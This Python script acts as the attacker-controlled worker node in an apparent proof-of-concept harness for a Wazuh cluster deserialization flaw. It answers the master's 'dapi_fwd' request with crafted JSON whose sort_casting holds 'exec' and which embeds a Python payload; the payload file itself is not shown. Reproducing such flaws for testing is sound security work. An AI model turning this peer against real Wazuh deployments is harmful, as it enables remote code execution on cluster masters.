#!/usr/bin/env python3
"""Malicious Wazuh worker-node TCP peer (attacker-controlled side).

Simulates a compromised/malicious worker node on the Wazuh cluster channel
(TCP/1516 in production). It accepts the master's dapi_fwd request and
responds with a crafted JSON AffectedItemsWazuhResult whose sort_casting
contains ["exec"] and whose affected_items embed a Python payload string.

This script contains NO wazuh code: it is the attacker's peer. All bytes it
sends are attacker-controlled input crossing a real TCP socket into the
master-side harness, which runs the real vulnerable wazuh framework code.
"""
import argparse
import json
import socket
import sys
import time


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1")
    ap.add_argument("--port", type=int, required=True)
    ap.add_argument("--response-json", required=True,
                    help="File containing the exact JSON document the malicious worker returns")
    ap.add_argument("--log", required=True)
    args = ap.parse_args()

    with open(args.response_json, "r", encoding="utf-8") as f:
        payload = f.read().encode()

    log = open(args.log, "a", encoding="utf-8")

    def logline(msg: str) -> None:
        log.write(f"[worker_peer {time.strftime('%H:%M:%S')}] {msg}\n")
        log.flush()

    srv = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    srv.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    srv.bind((args.host, args.port))
    srv.listen(1)
    srv.settimeout(60)
    logline(f"LISTENING host={args.host} port={args.port} response_bytes={len(payload)}")

    conn, peer = srv.accept()
    conn.settimeout(30)
    logline(f"ACCEPTED peer={peer[0]}:{peer[1]}")

    # Read the master's dapi_fwd request line (cluster protocol command framing
    # simplified to a newline-terminated line; the vulnerability is in the
    # response deserialization, not the framing).
    buf = b""
    while b"\n" not in buf:
        chunk = conn.recv(65536)
        if not chunk:
            break
        buf += chunk
    request = buf.split(b"\n", 1)[0]
    logline(f"REQUEST bytes={len(request)} head={request[:80]!r}")
    if not request.startswith(b"dapi_fwd"):
        logline("ERROR: unexpected request (expected dapi_fwd)")
        return 2

    conn.sendall(payload + b"\n")
    logline(f"RESPONSE_SENT bytes={len(payload)} "
            f"sort_casting={json.loads(payload)['__wazuh_result__']['__object__']['sort_casting']}")
    time.sleep(0.5)  # let the master finish reading before closing
    conn.close()
    srv.close()
    logline("DONE")
    log.close()
    return 0


if __name__ == "__main__":
    sys.exit(main())
